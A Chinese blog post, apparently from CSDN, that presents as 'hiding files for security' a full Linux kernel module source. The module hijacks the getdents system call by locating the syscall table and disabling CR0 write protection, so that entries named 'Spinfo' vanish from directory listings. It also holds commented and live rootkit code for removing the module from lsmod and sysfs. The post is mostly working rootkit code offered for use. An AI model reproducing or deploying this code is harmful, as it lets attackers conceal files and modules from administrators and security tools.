Linux隐藏文件

在信息安全中,保护指定的文件不让用户看到,尤为重要,实现方式:劫持系统调用

系统信息:内核为2.6.32, CentOSX86_64

示例程序如下:


#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/list.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <linux/stat.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#define CALLOFF 100

//define idtr and idt struct

char psname[10] = "hello";
char *processname = psname;

static char *mod_name = "hook";
module_param(mod_name, charp, 0);

struct{
    unsigned short limit;
    unsigned int base;
}__attribute__((packed))idtr;

struct{
    unsigned short off_low;
    unsigned short sel;
    unsigned char none;
    unsigned char flags;
    unsigned short off_high;
}__attribute__((packed))*idt;

struct _idt
{
    unsigned short offset_low,segment_sel;
    unsigned char reserved,flags;
    unsigned short offset_high;
};

/*unsigned long *getscTable()
{
    unsigned char idtr[6] = {0}, *shell = NULL, *sort = NULL;
    struct _idt *idtLong = NULL;
    unsigned long system_call = 0, sct = 0;
    unsigned short offset_low = 0, offset_high = 0;
    char *p = NULL;
    int i = 0;

    __asm__("sidt %0" : "=m" (idtr));

    idtLong=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
    offset_low = idtLong->offset_low;
    offset_high = idtLong->offset_high;
    system_call = (offset_high<<16)|offset_low;

    shell=(char *)system_call;
    sort="\xff\x14\x85";

    for(i=0;i<(100-2);i++)
    {
        if(shell[i] == sort[0] && shell[i+1] == sort[1] && shell[i+2] == sort[2])
	{
	    break;
	}
    }

    p = &shell[i];
    p += 3;

    sct=*(unsigned long*)p;
    return (unsigned long*)(sct);
}*/

//define function, Point to the system being hijacked

struct linux_dirent
{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);

//int orig_cr0 = 0;
unsigned long *sys_call_table = NULL;

//get function system_call addr

/*void* get_system_call(void)
{
    printk(KERN_ALERT "start get_system_call...\n");
    void * addr = NULL;
    asm("sidt %0":"=m"(idtr));
    idt = (void*) ((unsigned long*)idtr.base);
    addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
    return addr;
}*/

//find sys_call_table

char* findoffset(char *start)
{
    printk(KERN_ALERT "start findoffset...\n");
    char *p = NULL;
    int i = 0;
    /*for(p=start; p < start + CALLOFF; p++)
    {
        if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\x85')
        {
            return p;
        }
    }*/

    p = start;
    for(i=0;i<(100-2);i++,p++)
    {
        if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\xc5')
	{
	    printk(KERN_ALERT "p: 0x%x\n",p);
	    return p;
	}
    }
    return NULL;
}

//get sys_call_table addr

/*void** get_system_call_addr(void)
{
    printk(KERN_ALERT "start get_system_call_addr.../n");
    unsigned long sct = 0;
    char *p = NULL;
    unsigned long addr = (unsigned long)get_system_call();
    if((p=findoffset((char*) addr)))
    {
        sct = *(unsigned long*)(p + 3);
        printk(KERN_ALERT "find sys_call_addr: 0x%x\n", (unsigned int)sct);
    }
    return ((void**)sct);
}*/

//clear and return cr0

unsigned int clear_and_return_cr0(void)
{
    printk(KERN_ALERT "start clear_and_return_cr0...\n");
    unsigned int cr0 = 0;
    unsigned int ret = 0;
    
    asm volatile ("movq %%cr0, %%rax":"=a"(cr0));
    
    ret = cr0;
    
    cr0 &= 0xfffffffffffeffff;
    
    asm volatile ("movq %%rax, %%cr0"
                :
                :"a"(cr0)
		);

    return ret;
}

//ser cr0

void setback_cr0(unsigned int val)
{
    printk(KERN_ALERT "start setback_cr0...\n");
    
    asm volatile ("movq %%rax, %%cr0"
                :
		:"a"(val)
		);
}

//char* to int

/*int atoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr = NULL;
    for(ptr = str + strlen(str)-1; ptr >= str; ptr--)
    {
        if(*ptr < '0' || *ptr > '9')
        {
            return -1;
        }
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    return res;
}*/

//check if process whose pid equals 'pid' is set to hidden

/*int ishidden(pid_t pid)
{
    if(pid < 0)
    {
        return 0;
    }
    struct task_struct * task = NULL;
    task = find_task_by_pid(pid);
    printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);
    if(NULL != task && 1 == task->hide)
    {
        return 1;
    }
    return 0;
}*/

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr = NULL;

    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        if (*ptr < '0' || *ptr > '9')
	{
	    return -1;
	}
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    if(res>0 && res< 9999)
    {
        printk(KERN_INFO "pid = %d\n",res);
    }
    return res;
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = get_current(),*entry = NULL;
    list_for_each_entry(entry,&(p->tasks),tasks)
    {
        if(entry->pid == pid)
	{
	    printk("pid found = %d\n",entry->pid);
	    return entry;
	}
	else
	{
	    //printk(KERN_INFO "pid = %d not found\n",pid);
	}
    }
    return NULL;
}

static inline char *get_name(struct task_struct *p, char *buf)
{
    int i = 0;
    char *name = NULL;
    name = p->comm;
    i = sizeof(p->comm);
    do
    {
        unsigned char c = *name;
	name++;
	i--;
	*buf = c;
	if(!c)
	{
	    break;
	}
	if('\\' == c)
	{
	    buf[1] = c;
	    buf += 2;
	    continue;
	}
	if('\n' == c)
	{
	    buf[0] = '\\';
	    buf[1] = 'n';
	    buf += 2;
	    continue;
	}
	buf++;
    }while(i);

    *buf = '\n';
    return buf + 1;
}

int get_process(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char buffer[64] = {0};
    if(task)
    {
        get_name(task, buffer);
	//if(pid > 0 && pid < 9999)
	//{
	    //printk(KERN_INFO "task name = %s\n",*buffer);
	//}
	if(strstr(buffer,processname))
	{
	    printk(KERN_INFO "task name = %s\n", buffer);
	    return 1;
	}
	else
	{
	    return 0;
	}
    }
    return 0;
}

//the hacked sys_getdents64

asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count)
{
    /*long value = 0;
    unsigned short len = 0;
    unsigned short tlen = 0;

    printk(KERN_ALERT "hidden get dents/n");

    struct kstat fbuf;
    vfs_fstat(fd, &fbuf);//get file info
    printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d\n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));

    if(orig_getdents != NULL)
    {
        value = (*orig_getdents)(fd, dirp, count);
        //if the file is in /proc
        if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)
        {
            printk(KERN_ALERT "this is proc\n");
        }
    }
    else
    {
        printk(KERN_ALERT "orig_getdents is null\n");
    }
    return value;*/

    //add by liangz 2016-03-14
    struct linux_dirent* dirp2 = NULL, *dirp3 = NULL, *head = NULL , *prev = NULL;
    long recordLength = 0, modifyBufLength = 0;

    long value = 0;
    unsigned short len = 0;
    unsigned short tlen = 0;

    printk(KERN_ALERT "start call orig_getdents...\n");
    
    value = (*orig_getdents) (fd, dirp, count);

    //add by liangz 2016-03-14
    dirp2 = (struct linux_dirent*)kmalloc(value, GFP_KERNEL);
    if(!dirp2)
    {
        return value;
    }
    if(copy_from_user(dirp2, dirp, value))
    {
        printk(KERN_ALERT "fail to copy dirp to dirp2...\n");
	return value;
    }
    head = dirp2;
    dirp3 = dirp2;
    modifyBufLength = value;
    while (((unsigned long )dirp3) <(((unsigned long) dirp2)+ value))
    {
        recordLength = dirp3->d_reclen;
	if ( recordLength == 0)
	{
	    break;
	}
	if (strncmp(dirp3->d_name, "Spinfo", 6) ==0)
	{
	    printk("d_name = %s\n", dirp3->d_name);
	    if (!prev)
	    {
	        head = (struct linux_dirent*)((char *) dirp3 + recordLength);
		modifyBufLength -= recordLength;
	    }
	    else
	    {
	        prev->d_reclen += recordLength;
		memset(dirp3, 0, recordLength );
	    }
	}
	else
	{
	    prev= dirp3;
	}
	dirp3 = (struct linux_dirent*)((char *) dirp3+ recordLength);
    }
    copy_to_user (dirp, head, modifyBufLength);
    kfree(dirp2);
    return modifyBufLength;
    
    printk(KERN_ALERT "end call orig_getdents...\n");

    //tlen = value;
    //list dir table
    /*while(0 < tlen)
    {
        len = dirp->d_reclen;
	tlen = tlen - len;

	if(0 == strcmp("spinfo", dirp->d_name))
	{
	    printk("d_name = %s\n", dirp->d_name);
	    memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
	    value = value - len;
	    printk(KERN_INFO "hide file successful...\n");
	}

	if(get_process(myatoi(dirp->d_name)))
	{
	    printk("find process...\n");
	    memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
	    value = value - len;
	    printk(KERN_INFO "hide process successful...\n");
	}
	if(tlen)
	{
	    dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
	}
    }
    printk(KERN_INFO "finished hacked_getdents...\n");
    return value;*/
}

static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len)
{
    const char *begin = NULL;
    const char *const last_possible = (const char *) haystack + haystack_len - needle_len;
    if (needle_len == 0)
    {
        printk(KERN_ALERT "needle_len == 0\n");
	return (void*)haystack;
    }

    if (__builtin_expect(haystack_len < needle_len, 0))
    {
        return NULL;
    }

    for (begin = (const char *) haystack; begin <= last_possible; ++begin)
    {
        if (begin[0] == ((const char *) needle)[0]
	        && !memcmp((const void *) &begin[1],
		        (const void *) ((const char *) needle + 1),
			    needle_len - 1))
	{
	    return (void*) begin;
	}
    }
    return NULL;
}

static unsigned long get_sct_addr(void)
{
    #define OFFSET_SYSCALL 200

    unsigned long syscall_long, retval;
    char sc_asm[OFFSET_SYSCALL] = {0};

    rdmsrl(MSR_LSTAR, syscall_long);
    memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL);
    
    retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\xc5", 3);

    if ( retval != 0 )
    {
        retval = (unsigned long) ( * (unsigned long *)(retval+3) );
    }
    else
    {
        printk("long mode : memmem found nothing, returning NULL");
	retval = 0; 
    }
    #undef OFFSET_SYSCALL
    return retval;
    //unsigned sys_call_off = 0;
    /*void *sys_call_off = NULL;
    unsigned sct = 0;
    char *p = NULL;

    unsigned char idtrT[6] = {0}, *shell = NULL, *sort = NULL;
    struct _idt *idtT;
    unsigned long system_call = 0;// sct = 0;

    asm("sidt %0":"=m"(idtrT));
    //idt = (void *) (idtr.base + 8 * 0x80);
    printk(KERN_ALERT "=== 1 ===\n");
    //idt = (void*) ((unsigned long*)idtr.base);
    idtT = (struct _idt*)(*(unsigned long*)&idtrT[2]+8*0x80);
    //idt = (struct _idt*)
    //sys_call_off = (idt->off_high << 16) | idt->off_low;
    printk(KERN_ALERT "=== 2 ===\n");
    //sys_call_off = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
    system_call = (idtT->offset_high<<16) | idtT->offset_low;

    printk(KERN_ALERT "=== 3 ===\n");

    if ((p = findoffset((char *) system_call)))
    {
        sct = *(unsigned *) (p + 3);
    }
    else
    {
          printk(KERN_ALERT " findoffset fail...\n");
    }
    return ((void **)sct);*/
}

int hideModule(void)
{
    /*struct module *mod_head = NULL, *mod_counter = NULL;
    struct list_head *p = NULL;
    mod_head = &__this_module;
    list_for_each(p, &mod_head->list)
    {
        mod_counter = list_entry(p, struct module, list);
	printk(KERN_ALERT "mod name = %s\n", mod_counter->name);
	if(strcmp(mod_counter->name, mod_name) == 0)
	{
	    list_del(p);
	    printk(KERN_ALERT "remove module %s successfully.\n", mod_name);
	    return 0;
	}
    }
    printk("Can't find module %s.\n", mod_name);
    return -1;*/

    list_del(&THIS_MODULE->list);//lsmod,/proc/modules
    kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules
    list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry
    
    return 0;
}

static inline void rootkit_protect(void)
{
    try_module_get(THIS_MODULE);// count++
    //module_put(THIS_MODULE);//count--
}

static int __init hook_init(void)
{
    printk(KERN_ALERT"[insmod module] name:%s state:%d refcnt:%u \n",THIS_MODULE->name,THIS_MODULE->state,module_refcount(THIS_MODULE));    
    
    //rootkit_protect();
    
    printk(KERN_ALERT"[insmod module] name:%s state:%d refcnt:%u \n",THIS_MODULE->name,THIS_MODULE->state,module_refcount(THIS_MODULE));

    /*int retHide = 0;
    retHide = hideModule();
    if(0 == retHide)
    {
        printk(KERN_ALERT "hide module success...\n");
    }*/
    /*if(0 == THIS_MODULE->state)
    {
        THIS_MODULE->state = 1;
    }*/

    printk(KERN_ALERT "start hook_init\n");
    unsigned long orig_cr0 = 0;//clear_and_return_cr0();

    sys_call_table = (unsigned long*)get_sct_addr();
    sys_call_table = (unsigned long)sys_call_table | 0xffffffff00000000;

    if(!sys_call_table)
    {
        printk(KERN_ALERT "=== get_sct_addr fail ===\n");
        return -EFAULT;
    }
    else if(sys_call_table[__NR_getdents] != hacked_getdents)
    {
        printk(KERN_ALERT "start __NR_getdents64 ...\n");
        //printk(KERN_ALERT "sct:0x%x\n", (unsigned long)sys_call_table);
	printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x\n", (unsigned long)sys_call_table[__NR_getdents],(unsigned long)hacked_getdents);
        
        orig_cr0 = clear_and_return_cr0();
        orig_getdents = sys_call_table[__NR_getdents];
	printk(KERN_ALERT "old:0x%x, new:0x%x\n",(unsigned long) orig_getdents, (unsigned long)hacked_getdents);
	printk(KERN_ALERT "end __NR_getdents64 ...\n");
        
        if(hacked_getdents != NULL)
        {
	    printk(KERN_ALERT "call hacked_getdents...\n");

            sys_call_table[__NR_getdents] = hacked_getdents;
        }
        
	setback_cr0(orig_cr0);
	
	printk(KERN_INFO "hideps: module loaded.\n");
	/*printk(KERN_ALERT"[insmod module] name:%s state:%d\n",THIS_MODULE->name,THIS_MODULE->state);
	if(0 == THIS_MODULE->state)
	{
	    THIS_MODULE->state = 1;
	}*/
        return 0;
    }
    else
    {
        printk(KERN_ALERT "system_call_table_long[__NR_getdents64] == hacked_getdents\n");
        return -EFAULT;
    }
}

static int __exit unhook_exit(void)
{
    printk(KERN_ALERT "start unhook_exit\n");
    unsigned long orig_cr0 = clear_and_return_cr0();

    if(sys_call_table)
    {
        sys_call_table[__NR_getdents] = orig_getdents;
        
	setback_cr0(orig_cr0);

	printk(KERN_ALERT "unhook_exit success...\n");
        return 0;
    }
    printk(KERN_ALERT "unhook_exit fail...\n");
    return -EFAULT;
}


MODULE_AUTHOR("zhao liang. Halcrow <mhalcrow@us.ibm.com>");
MODULE_DESCRIPTION("hook hide process");
MODULE_LICENSE("GPL");

module_init(hook_init)
module_exit(unhook_exit)


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值